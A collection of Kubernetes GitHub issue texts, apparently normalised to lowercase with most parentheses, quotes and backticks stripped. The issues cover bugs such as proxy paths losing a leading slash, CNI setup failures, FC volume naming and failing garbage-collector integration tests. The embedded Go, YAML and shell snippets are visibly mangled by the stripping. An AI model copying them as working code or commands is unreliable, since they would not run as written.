\r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r apiserver proxy removes leading slash from path that is send to destination service or pod, effectively breaking applications.\r \r example tshark output:\r \r hypertext transfer protocol\r     get test http/1.1\\r\ \r          expert info  chat/sequence : get test http/1.1\\r\  \r              get test http/1.1\\r\  \r              severity level: chat \r              group: sequence \r         request method: get\r         request uri: test\r         request version: http/1.1\r     host: localhost:8080\\r\ \r     user-agent: mozilla/5.0  windows nt 10.0; win64; x64  applewebkit/537.36  khtml, like gecko  chrome/60.0.3112.101 safari/537.36\\r\ \r     accept-encoding: gzip, deflate, br\\r\ \r     accept-language: en-us,en;q=0.8,uk;q=0.6,ru;q=0.4\\r\ \r     cache-control: no-cache\\r\ \r     connection: upgrade\\r\ \r     origin: http://localhost:8080\\r\ \r     pragma: no-cache\\r\ \r     sec-websocket-extensions: permessage-deflate; client_max_window_bits\\r\ \r     sec-websocket-key: rtbokvthtrabtpz9vhyang==\\r\ \r     sec-websocket-version: 13\\r\ \r     upgrade: websocket\\r\ \r     x-forwarded-for: 127.0.0.1\\r\ \r     \\r\ \r      full request uri:   http://localhost:8080test   \r      http request 1/1 \r \r \r   what you expected to happen  :\r \r proxied urls should begin with slash.\r example:\r  get /test http/1.1\\r\  \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r use this guideline to construct proxy url: https://kubernetes.io/docs/tasks/access-application-cluster/access-cluster/ discovering-builtin-services\r \r this request will not work  404 not found :\r  curl http://localhost:8080/api/v1/namespaces/default/services/testservice:http/proxy/test \r backend result  wrong : get test http/1.1\\r\ \r \r request with double slash will work:\r  curl http://localhost:8080/api/v1/namespaces/default/services/testservice:http/proxy//test \r backend result  correct : get /test http/1.1\\r\ \r \r also old-style proxy url format works too:\r  curl http://localhost:8080/api/v1/proxy/namespaces/default/services/testservice:http/test \r backend result  correct : get /test http/1.1\\r\ \r \r   anything else we need to know?  :\r first observed with 1.7 kubernetes release\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.3\ , gitcommit:\ 6a4203eb4b5f59ac7a602e0c83023d15d991fd58\ , gittreestate:\ clean\ , builddate:\ 2017-08-23t22:58:52z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.5-dirty\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ dirty\ , builddate:\ 2017-09-04t14:44:32z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r bare metal\r - os  e.g. from /etc/os-release :\r coreos 1409.6.0\r - kernel  e.g.  uname -a  :\r 4.11.9-coreos\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r   \r \r   what happened  :\r currently the auth-url of openstack cloud provider must contains keystone version v2 or v3 , or it can't init openstack client.\r however, i started digging into this and i found that keystone is now replying with version v3.8 instead of v3.0, so we need support 3.0 and 3.8.\r it is really easy to test since now devstack provides keystone on /identity\r \r   what you expected to happen  :\r support handling new identity endpoints: identity versionless endpoint\r \r 1. identity endpoints published with a valid url path\r  http://example.com/identity  are now parsed correctly.\r \r if the endpoint has a version suffix  http://example.com/identity/v3 ,\r the client will use /identity as the base and /identity/v3 as the\r endpoint.\r \r if the endpoint does not have a version suffix, both the base and the\r endpoint will be set to /identity and further version discovery will\r be done.\r \r 2. version discovery can now handle version ids other than v2.0 and v3.\r if the identity service is publishing an id of v3.8, gophercloud will\r recognize it as a valid result.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r related to: https://github.com/gophercloud/gophercloud/pull/423\r so we should merge this pr https://github.com/gophercloud/gophercloud/pull/508  into kubernetes for openstack cloud provider.\r \r /assign\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r \r i have an weave network plugin.\r \r inside my folder /etc/cni/net.d there is a 10-weave.conf\r \r > {\r >     \ name\ : \ weave\ ,\r >     \ type\ : \ weave-net\ ,\r >     \ hairpinmode\ : true\r > }\r \r my weave pods are running and the dns pod is also running\r but when i want to run a pod like a simple nginx  wich will pull an nginx image \r the pod stuck at container creating , describe pod  gives me the error , failed create pod sandbox.\r \r when i run journalctl -u kubelet i get this error\r  \r  cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d \r \r is my network plugin not good configured ?\r \r i used this command to configure my weave network \r kubectl apply -f https://git.io/weave-kube-1.6\r after this won't work i also tried this command\r kubectl apply -f “https://cloud.weave.works/k8s/net?k8s-version=$ kubectl version | base64 | tr -d ‘\ ’ ”\r \r i even tried flannel and that gives me the same error. \r the system i am setting kubernetes on is a raspberry pi.\r i am trying to build a raspberry pi cluster with 3 nodes and 1 master with kubernetes

if  pod mount  disk storage，upgrade deployment，disk has mounted to old pod  ,it lead to new pods can not be create successfully\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r a service writes 3 log messages that belong together from time to time.\r i have a sidecar-container that writes out those log messages to  stdout . when performing  kubectl logs podname -c  containername | grep term , every now and then, only 2 of the 3 lines are shown. \r this problem occurs rarely, for thousands of log messages it works as expected, and 3 lines are shown, but several times a day only 2.\r however, when i connect to the node directly via ssh, and perform  docker logs docker_containername | grep term , i get the expected 3 lines  so the sidecar container works as expected .\r \r i also tried the  -p  flag for the previous version of the container, but it told me that there is no previous version.\r \r   what you expected to happen  :\r \r the output of  kubectl logs  and  docker logs  should match.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i think it is hard to reproduce, since it works most of the time. the log-messages have all the same format. but maybe it can be reproduced like that:\r \r   - create pod with sidecar container\r   - let sidecar container write to stdout\r   - compare  docker logs  output with  kubectl logs  output\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-05-12t04:12:12z\ , goversion:\ go1.9.6\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.2-gke.1\ , gitcommit:\ 75d2af854b1df023c7ce10a8795b85d3dd1f8d37\ , gittreestate:\ clean\ , builddate:\ 2018-05-10t17:23:18z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: google cloud platform\r - kernel  e.g.  uname -a  :  darwin pcname 17.6.0 darwin kernel version 17.6.0: tue may  8 15:22:16 pdt 2018; root:xnu-4570.61.1~1/release_x86_64 x86_64 \r - install tools:\r - others:\r \r @kubernetes/sig-none-bugs

there are several places where we return errors from an http server by writing the error code and message directly. we should standardize on using  http.error   https://golang.org/pkg/net/http/? error everywhere to pick up the \ text/plain\  and \ nosniff\  content type headers.\r \r here's a  cs.k8s.io query  https://cs.k8s.io/?q=%5c.writeheader%5c\\ http%5c.status%5b%5eo%5d&i=nope&files=%5e\\ pkg%7ccmd%7cstaging\\ &repos=kubernetes/kubernetes  @tallclair gave me that probably catches most of the places where we are doing this.\r \r the unit test ones would be nice to fix too, but the more important ones are the non-test code:\r -     pkg/controller/garbagecollector/dump.go\r -     pkg/kubectl/proxy/proxy_server.go\r -     pkg/kubelet/server/remotecommand/httpstream.go\r -     pkg/proxy/healthcheck/healthcheck.go\r -     staging/src/k8s.io/apimachinery/pkg/util/httpstream/httpstream.go\r -     staging/src/k8s.io/apimachinery/pkg/util/httpstream/spdy/upgrade.go\r -     staging/src/k8s.io/apimachinery/pkg/util/proxy/upgradeaware.go\r -     staging/src/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go\r -     staging/src/k8s.io/apiserver/pkg/server/filters/cors.go\r -     staging/src/k8s.io/apiserver/pkg/server/filters/maxinflight.go\r -     staging/src/k8s.io/apiserver/pkg/server/filters/timeout.go

a query related to similar errors.\r \r i understand that there are multiple discussions related to the same error like:\r https://github.com/kubernetes/kubernetes/issues/64743 issuecomment-404160205\r referring to https://github.com/torvalds/linux/commit/4ee806d51176ba7b8ff1efd81f271d7252e03a1d\r \r but my doubt is couldnt this trigger a similar flow making kernel to report it:\r https://github.com/kubernetes/kubernetes/blob/650357ae53d299ef007a0483349e51c5327abc04/pkg/kubelet/dockershim/docker_sandbox.go l374\r \r especially if for example it follows the log flow\r  calico cni deleting device in netns /proc/3025/ns/net\r ...\r docker_sandbox.go:340  failed to read pod ip from plugin/docker: networkplugin cni failed on the status hook for pod \ p1-6558811f44-kll87_n01\ : unexpected command output nsenter: cannot open /proc/43796/ns/net: no such file or directory\r  \r \r please correct me if i am wrong\r \r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r e0111 13:39:34.480301 1 leaderelection.go:234  error retrieving resource lock kube-system/ceph.com-cephfs: endpoints \ ceph.com-cephfs\  is forbidden: user \ system:serviceaccount:kube-system:default\  cannot get resource \ endpoints\  in api group \ \  in the namespace \ kube-system\ \r   what you expected to happen  :\r i installed ceph.com/rbd provisioner in default namespace, without rbac, pods shows this error\r   how to reproduce it  as minimally and precisely as possible   :\r deploy the non rbac yaml example\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:46:00z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.3\ , gitcommit:\ 435f92c719f279a3a67808c80521ea17d5715c66\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t12:46:57z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration:\r baremetal\r - os  e.g. from /etc/os-release : ubuntu 18.04\r - kernel  e.g.  uname -a  : 4.15.0-39-generic\r - install tools:\r - others:\r

the admission webhook review requests seem not to include a gvk in the raw object.  it's included elsewhere in the review request, so it's generally not an issue, except that the unstructured codec  requires  gvks to be present  it's not a technical requirement afaict, just a check done in the codec logic .  this means that trying to use  codec.decode  or  json.unmarshal  on an unstructured fails.\r \r a workaround in the mean time is to use  json.unmarshal data, &unstructuredobj.object  , but it would be nice if this just worked properly  fixes to the review request logic  and  the unstructured codec logic.\r \r     reproducer\r \r <details>\r <summary>server.go</summary>\r \r    go\r package main\r \r import  \r \t\ fmt\ \r \t\ io/ioutil\ \r \t\ net/http\ \r  \r \r func main   {\r \thttp.handlefunc \ /review\ , func resp http.responsewriter, req  http.request  {\r \t\tdefer resp.writeheader http.statusinternalservererror \r \t\tbodyraw, err := ioutil.readall req.body \r \t\tif err != nil {\r \t\t\tpanic err \r \t\t\treturn\r \t\t}\r \t\tfmt.println string bodyraw  \r \t} \r \r \tfmt.println \ starting serving at /review\  \r \tif err := http.listenandservetls \ 127.0.0.1:8675\ , \ /tmp/serving.crt\ , \ /tmp/serving.key\ , nil ; err != nil {\r \t\tpanic err \r \t}\r }\r    \r \r </details>\r \r <details>\r <summary>hook.yaml</summary>\r \r    yaml\r apiversion: admissionregistration.k8s.io/v1beta1\r kind: validatingwebhookconfiguration\r metadata:\r   name: testcase\r webhooks:\r - name: testcase.metamagical.io\r   rules:\r   - apigroups:  \  \  \r     apiversions:  \  \  \r     operations:  \  \  \r     resources:  \  \  \r   clientconfig:\r     cabundle: <ca here>\r     url: \ https://localhost:8675/review\ \r    \r \r </details>\r \r 1. create serving ca and certs  at serving.crt and serving.key \r 2.  go run server.go \r 3. edit webhook with ca bundle\r 4.  kubectl create -f hook.yaml\r 5. observe that the output object doesn't have gvk in the  object  field\r 6. observe https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apimachinery/pkg/apis/meta/v1/unstructured/helpers.go l324\r \r   environment  :\r - kubernetes version  use  kubectl version  : master-ish  a92729a301c8928d8e108418e6e4625a9e0d6733 \r \r 

...horribly ugly, and practically indecipherable.  is it actually useful to anyone at all?  we should find or make something better.

hi, i see that  7092 has been resolved for sometime. so, is hostname_override required for aws setup anymore?  ref: https://github.com/kubernetes/kubernetes/blob/master/cluster/aws/templates/configure-vm-aws.sh l117

to reproduce.  i. create cluster with the wrong ip address.   skipping some lines       i0617 19:22:22.515536       1 cluster_helper.go:200  cluster is not ready.  skipping \ federation-e2e-gce-us-central1-f\  i0617 19:23:31.491965       1 clustercontroller.go:169  there is no status stored for cluster: federation-e2e-gce-us-central1-f before e0617 19:24:01.492847       1 cluster_client.go:147  failed to list nodes while getting zone names: get https://130.211.176.7/api/v1/nodes: dial tcp 130.211.176.7:443: i/o timeout w0617 19:24:01.492887       1 clustercontroller.go:194  failed to get zones and region for cluster federation-e2e-gce-us-central1-f: get https://130.211.176.7/api/v1/nodes: dial tcp 130.211.176.7:443: i/o timeout i0617 19:24:01.508117       1 cluster_helper.go:197  cluster is ready.  adding \ federation-e2e-gce-us-central1-f\  i0617 19:24:01.508127       1 cluster_helper.go:83  no client cache for cluster federation-e2e-gce-us-central1-f, building new i0617 19:24:01.519703       1 cluster_helper.go:157  start watching services and endpoints on cluster federation-e2e-gce-us-central1-f e0617 19:24:31.520512       1 reflector.go:216  k8s.io/kubernetes/federation/pkg/federation-controller/service/cluster_helper.go:156: failed to list  v1.endpoints: get https://130.211.176.7/api/v1/endpoints?resourceversion=0: dial tcp 130.211.176.7:443: i/o timeout e0617 19:24:31.521190       1 reflector.go:216  k8s.io/kubernetes/federation/pkg/federation-controller/service/cluster_helper.go:155: failed to list  v1.service: get https://130.211.176.7/api/v1/services?resourceversion=0: dial tcp 130.211.176.7:443: i/o timeout i0617 19:24:32.520716       1 reflector.go:253  listing and watching  v1.endpoints from k8s.io/kubernetes/federation/pkg/federation-controller/service/cluster_helper.go:156 i0617 19:24:32.521278       1 reflector.go:253  listing and watching  v1.service from k8s.io/kubernetes/federation/pkg/federation-controller/service/cluster_helper.go:155 e0617 19:25:02.521262       1 reflector.go:216  k8s.io/kubernetes/federation/pkg/federation-controller/service/cluster_helper.go:156: failed to list  v1.endpoints: get https://130.211.176.7/api/v1/endpoints?resourceversion=0: dial tcp 130.211.176.7:443: i/o timeout e0617 19:25:02.521655       1 reflector.go:216  k8s.io/kubernetes/federation/pkg/federation-controller/service/cluster_helper.go:155: failed to list  v1.service: get https://130.211.176.7/api/v1/services?resourceversion=0: dial tcp 130.211.176.7:443: i/o timeout i0617 19:25:03.521870       1 reflector.go:253  listing and watching  v1.endpoints from k8s.io/kubernetes/federation/pkg/federation-controller/service/cluster_helper.go:156 i0617 19:25:03.522973       1 reflector.go:253  listing and watching  v1.service from k8s.io/kubernetes/federation/pkg/federation-controller/service/cluster_helper.go:155 e0617 19:25:33.523081       1 reflector.go:216  k8s.io/kubernetes/federation/pkg/federation-controller/service/cluster_helper.go:156: failed to list  v1.endpoints: get https://130.211.176.7/api/v1/endpoints?resourceversion=0: dial tcp 130.211.176.7:443: i/o timeout e0617 19:25:33.523441       1 reflector.go:216  k8s.io/kubernetes/federation/pkg/federation-controller/service/cluster_helper.go:155: failed to list  v1.service: get https://130.211.176.7/api/v1/services?resourceversion=0: dial tcp 130.211.176.7:443: i/o timeout i0617 19:25:34.523665       1 reflector.go:253  listing and watching  v1.endpoints from k8s.io/kubernetes/federation/pkg/federation-controller/service/cluster_helper.go:156 i0617 19:25:34.524486       1 reflector.go:253  listing and watching  v1.service from k8s.io/kubernetes/federation/pkg/federation-controller/service/cluster_helper.go:155 e0617 19:25:41.510389       1 cluster_client.go:147  failed to list nodes while getting zone names: get https://130.211.176.7/api/v1/nodes: dial tcp 130.211.176.7:443: i/o timeout w0617 19:25:41.510656       1 clustercontroller.go:194  failed to get zones and region for cluster federation-e2e-gce-us-central1-f: get https://130.211.176.7/api/v1/nodes: dial tcp 130.211.176.7:443: i/o timeout      ii. using kubectl edit, correct the ip address.  iii. sad controller  a. carries on using the old address b. seems to have trouble negotiating an update to the cluster object.   again, some lines skipped       i0617 19:28:36.395025       1 cluster_helper.go:72  cluster spec changed, rebuild clientset for cluster federation-e2e-gce-us-central1-f i0617 19:28:36.395075       1 cluster_helper.go:76  start watching services and endpoints on cluster federation-e2e-gce-us-central1-f e0617 19:28:39.536722       1 reflector.go:216  k8s.io/kubernetes/federation/pkg/federation-controller/service/cluster_helper.go:155: failed to list  v1.service: get https://130.211.176.7/api/v1/services?resourceversion=0: dial tcp 130.211.176.7:443: i/o timeout e0617 19:28:39.538612       1 reflector.go:216  k8s.io/kubernetes/federation/pkg/federation-controller/service/cluster_helper.go:156: failed to list  v1.endpoints: get https://130.211.176.7/api/v1/endpoints?resourceversion=0: dial tcp 130.211.176.7:443: i/o timeout e0617 19:29:01.547002       1 cluster_client.go:147  failed to list nodes while getting zone names: get https://130.211.176.7/api/v1/nodes: dial tcp 130.211.176.7:443: i/o timeout w0617 19:29:01.547049       1 clustercontroller.go:194  failed to get zones and region for cluster federation-e2e-gce-us-central1-f: get https://130.211.176.7/api/v1/nodes: dial tcp 130.211.176.7:443: i/o timeout w0617 19:29:01.549727       1 clustercontroller.go:204  failed to update the status of cluster:  ,error is : operation cannot be fulfilled on clusters.federation \ federation-e2e-gce-us-central1-f\ : the object has been modified; please apply your changes to the latest version and try again

problem  the interpod_affinity_test.go tests attempt to confirm that, for a score of 10, you need  - matching region and  - pods on nodes that match incoming labels  to test this, you need the following nodes, and expec the following scores.   region match, labels match, expected score, actual score       y  y  10  10 y  n  <10 10  this is the bug im seeing, revealed by patching the unit test  n  y  <10 0      why isnt this caught by the test? becuase, it appears that the second machine accidentally removes the china label, so you get 10,0,0 for scores.   if you correct the unit test...       -                               {objectmeta: api.objectmeta{name: \ machine2\ , labels: labelrgindia}}, +                               {objectmeta: api.objectmeta{name: \ machine2\ , labels: labelrgchina}},      then the test  correctly  fails, because two machines have high  10  scores.     solution  first  - fix the test so that machine 1 and 2 both have china label  as done above  and   second - modify the test to match the ensuing result  10,10,0  or modify the affinity scheduler to give a score like  10,5,0  so that the machine some of the  pod labels have some value, but are still lower value than the machine which matches all values.  i suspect the latter is correct - we probably dont want region to dominate the matching calculation!     details  for efficiency of evaluating my logic here i've attached the full unit test that im trying to run.                // the node machine1  that have the label {\ region\ : \ china\ }  match the topology key  and pods do match the labelselector -> 10  high  score         // the node machine2  that have the label {\ region\ : \ china\ }  match the topology key  but pods dont match the labelselector -> 0 score         // the node machine3  that dont have the label {\ region\ : \ china\ } but pods dont match labelselector -> 0 score.         {             pod: &api.pod{spec: api.podspec{nodename: \ \ }, objectmeta: api.objectmeta{labels: podlabelsecuritys1, annotations: staywiths1inregion}},             pods:    api.pod{                 {spec: api.podspec{nodename: \ machine1\ }, objectmeta: api.objectmeta{labels: podlabelsecuritys1}},                 {spec: api.podspec{nodename: \ machine2\ }, objectmeta: api.objectmeta{labels: podlabelsecuritys2}},                 {spec: api.podspec{nodename: \ machine3\ }, objectmeta: api.objectmeta{labels: podlabelsecuritys1}},             },             nodes:    api.node{                 {objectmeta: api.objectmeta{name: \ machine1\ , labels: labelrgchina}},                 {objectmeta: api.objectmeta{name: \ machine2\ , labels: labelrgchina}},                 {objectmeta: api.objectmeta{name: \ machine3\ , labels: labelazaz1}},             },             expectedlist:   schedulerapi.hostpriority{{host: \ machine1\ , score: 10}, {host: \ machine2\ , score: 0}, {host: \ machine3\ , score: 0}},             test: \ affinity: pod that matches topology & pods in nodes will get high score comparing to others\  +                 \ which doesn't match either pods in nodes or in topology key\ ,         },

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r fc plugin returns targetwwns at getvolumename  , but targetwwns are not unique identifier if user has multiple volumes from same target wwn.\r as a result, after introducing attach/detach functions, fc plugin always fails to attach volumes if a pod requests 2+ luns.\r \r    \r i0918 21:42:19.353094   31402 operation_generator.go:684  controller attach succeeded for volume \ pv0001\   uniquename: \ kubernetes.io/fc/ wwn \   pod \ nginx-pod1\   uid: \ a4e0a0a8-9cdb-11e7-804f-f8bc12550954\   device path: \ \ \r    \r the getvolumename   is called from getuniquevolumenamefromspec   during pod creation.\r fc plugin should return unique identifier in the getvolumename  .\r \r if user uses wwid to specify fc volume, this problem doesn't happen because the wwid is unique identifier.\r \r   what you expected to happen  :\r \r all fc volumes are attached to pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - create two pvs and pvcs which uses same target wwn.\r - create pod with these two pvcs\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.0.723+8ca1d9f19ba2c7-dirty\ , gitcommit:\ 8ca1d9f19ba2c75dfbca058ecfeb11d4b39d9e9f\ , gittreestate:\ dirty\ , builddate:\ 2017-09-18t18:00:44z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.0.723+8ca1d9f19ba2c7-dirty\ , gitcommit:\ 8ca1d9f19ba2c75dfbca058ecfeb11d4b39d9e9f\ , gittreestate:\ dirty\ , builddate:\ 2017-09-18t21:00:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - install tools: local-up-cluster.sh\r \r /cc @rootfs @jsafrane \r

creating the types  package  and  manifest .\r \r  package  should have all the metadata the metadata of the package and drives package searching and browsing, and support the fork/rebase upgrade workflow. it can be used by something like an app registry.\r \r  manifest  should have all the information to expand of generate the k8s api resources. it can be used by kubectl or some other tooling. a manifest could be either a base or an overlay.\r \r also create type for configmap and secret.\r start with  file  and  env  support for configmap.\r start with  tls  support for secret.\r \r need to add more fields in type configmap and secret to support more use cases.\r \r this task will be the very first step of  declarative application management  https://docs.google.com/document/d/1clpgweveyrvqqvbljg6sxv-tre5rm2mnoba_cxzp2wu/edit heading=h.dr88tktf0e99 . \r there is an example in the linked doc.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r test failed when running cpu manager node e2e test on ubuntu 16.04 locally, and show this panic message:\r \r    shell\r test panicked\r assignment to entry in nil map\r ...\r .../test/e2e_node/cpu_manager_test.go:160\r    \r   what you expected to happen  :\r \r tests passed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run this node e2e test, use the following command:\r \r    shell\r make test-e2e-node test_args='--feature-gates=dynamickubeletconfig=true' focus=\ cpu manager\  skip=\ \  parallelism=1\r    \r \r   anything else we need to know?  :\r \r i think this is because the following codes:\r \r    go\r if _, ok := newcfg.kubereserved \ cpu\  ; !ok {\r \tnewcfg.kubereserved \ cpu\   = \ 200m\ \r }\r    \r  newcfg.kubereserved  is  nil .\r \r i will send a pr to fix this after it is confirmed.\r \r  /assign @balajismaniam @connordoyle @derekwaynecarr ptal, thanks!\r

seen errors in the garbage collector getting rest mappings and failing integration tests\r \r most of the failed pull-kubernetes-unit test jobs  which really run cmd and integration tests  are due to one of these three integration tests\r https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-unit\r \r testcrddeletioncascading\r testcustomresourcecascadingdeletion\r testmixedrelationships\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/55902/pull-kubernetes-unit/67801/\r \r    \r i1123 00:16:53.276839   19717 controller.go:538  quota admission added evaluator for: {mygroup.example.com foocs2sfas}\r i1123 00:16:58.402616   19717 garbagecollector.go:184  no resource updates from discovery, skipping garbage collector sync\r i1123 00:17:03.428298   19717 garbagecollector.go:184  no resource updates from discovery, skipping garbage collector sync\r i1123 00:17:08.451808   19717 garbagecollector.go:184  no resource updates from discovery, skipping garbage collector sync\r i1123 00:17:13.474798   19717 garbagecollector.go:184  no resource updates from discovery, skipping garbage collector sync\r i1123 00:17:18.498159   19717 garbagecollector.go:184  no resource updates from discovery, skipping garbage collector sync\r i1123 00:17:23.525179   19717 garbagecollector.go:184  no resource updates from discovery, skipping garbage collector sync\r i1123 00:17:28.548369   19717 garbagecollector.go:184  no resource updates from discovery, skipping garbage collector sync\r i1123 00:17:33.571418   19717 garbagecollector.go:184  no resource updates from discovery, skipping garbage collector sync\r i1123 00:17:38.593785   19717 garbagecollector.go:184  no resource updates from discovery, skipping garbage collector sync\r i1123 00:17:43.616819   19717 garbagecollector.go:184  no resource updates from discovery, skipping garbage collector sync\r i1123 00:17:48.641174   19717 garbagecollector.go:184  no resource updates from discovery, skipping garbage collector sync\r i1123 00:17:53.293108   19717 garbagecollector.go:154  shutting down garbage collector controller\r i1123 00:17:53.293601   19717 graph_builder.go:348  stopped 42 of 42 monitors\r i1123 00:17:53.293636   19717 graph_builder.go:349  graphbuilder stopping\r i1123 00:17:53.305514   19717 controller.go:90  shutting down openapi aggregationcontroller\r 2017-11-23 00:17:53.305553 i | integration: terminating 1768666837956983742  unix://localhost:17686668379569837420 \r i1123 00:17:53.305611   19717 autoregister_controller.go:160  shutting down autoregister controller\r i1123 00:17:53.305675   19717 crd_finalizer.go:254  shutting down crdfinalizer\r i1123 00:17:53.305629   19717 apiservice_controller.go:124  shutting down apiserviceregistrationcontroller\r i1123 00:17:53.305729   19717 available_controller.go:274  shutting down availableconditioncontroller\r i1123 00:17:53.305683   19717 serve.go:129  stopped listening on  :: :42059\r i1123 00:17:53.305662   19717 customresource_discovery_controller.go:163  shutting down discoverycontroller\r i1123 00:17:53.305651   19717 crdregistration_controller.go:139  shutting down crd-autoregister controller\r i1123 00:17:53.305720   19717 naming_controller.go:285  shutting down namingconditioncontroller\r 2017-11-23 00:17:53.351340 i | integration: terminated 1768666837956983742  unix://localhost:17686668379569837420 \r --- fail: testcustomresourcecascadingdeletion  66.08s \r \ttestserver.go:72: starting etcd...\r \ttestserver.go:95: starting kube-apiserver on port 42059...\r \ttestserver.go:106: waiting for /healthz to be ok...\r \tgarbage_collector_test.go:827: created owner resource \ ownerh27bs\ \r \tgarbage_collector_test.go:837: created dependent resource \ dependentfhlpm\ \r \tgarbage_collector_test.go:851: failed waiting for owner resource \ ownerh27bs\  to be deleted\r    \r \r  i1123 00:18:40.707948   19717 garbagecollector.go:253  error syncing item &garbagecollector.node{identity:garbagecollector.objectreference{ownerreference:v1.ownerreference{apiversion:\ mygroup.example.com/v1beta1\ , kind:\ foo8xjvqa\ , name:\ ownerrg8c5\ , uid:\ c32bb543-cfe3-11e7-8085-0242ac110002\ , controller:  bool  nil , blockownerdeletion:  bool  nil }, namespace:\ crd-mixed\ }, dependentslock:sync.rwmutex{w:sync.mutex{state:0, sema:0x0}, writersem:0x0, readersem:0x0, readercount:1, readerwait:0}, dependents:map  garbagecollector.node struct {}{  garbagecollector.node  0xc4286c6340 :struct {}{}}, deletingdependents:false, deletingdependentslock:sync.rwmutex{w:sync.mutex{state:0, sema:0x0}, writersem:0x0, readersem:0x0, readercount:0, readerwait:0}, beingdeleted:false, beingdeletedlock:sync.rwmutex{w:sync.mutex{state:0, sema:0x0}, writersem:0x0, readersem:0x0, readercount:0, readerwait:0}, owners:  v1.ownerreference nil }: unable to get rest mapping for mygroup.example.com/v1beta1/foo8xjvqa. \r \r    \r i1123 00:18:40.707948   19717 garbagecollector.go:253  error syncing item &garbagecollector.node{identity:garbagecollector.objectreference{ownerreference:v1.ownerreference{apiversion:\ mygroup.example.com/v1beta1\ , kind:\ foo8xjvqa\ , name:\ ownerrg8c5\ , uid:\ c32bb543-cfe3-11e7-8085-0242ac110002\ , controller:  bool  nil , blockownerdeletion:  bool  nil }, namespace:\ crd-mixed\ }, dependentslock:sync.rwmutex{w:sync.mutex{state:0, sema:0x0}, writersem:0x0, readersem:0x0, readercount:1, readerwait:0}, dependents:map  garbagecollector.node struct {}{  garbagecollector.node  0xc4286c6340 :struct {}{}}, deletingdependents:false, deletingdependentslock:sync.rwmutex{w:sync.mutex{state:0, sema:0x0}, writersem:0x0, readersem:0x0, readercount:0, readerwait:0}, beingdeleted:false, beingdeletedlock:sync.rwmutex{w:sync.mutex{state:0, sema:0x0}, writersem:0x0, readersem:0x0, readercount:0, readerwait:0}, owners:  v1.ownerreference nil }: unable to get rest mapping for mygroup.example.com/v1beta1/foo8xjvqa.\r i1123 00:18:45.065730   19717 garbagecollector.go:184  no resource updates from discovery, skipping garbage collector sync\r i1123 00:18:50.088628   19717 garbagecollector.go:184  no resource updates from discovery, skipping garbage collector sync\r i1123 00:18:55.112194   19717 garbagecollector.go:184  no resource updates from discovery, skipping garbage collector sync\r i1123 00:18:59.797854   19717 garbagecollector.go:154  shutting down garbage collector controller\r i1123 00:18:59.797953   19717 graph_builder.go:348  stopped 42 of 42 monitors\r i1123 00:18:59.797964   19717 graph_builder.go:349  graphbuilder stopping\r i1123 00:18:59.810016   19717 crdregistration_controller.go:139  shutting down crd-autoregister controller\r i1123 00:18:59.810050   19717 autoregister_controller.go:160  shutting down autoregister controller\r i1123 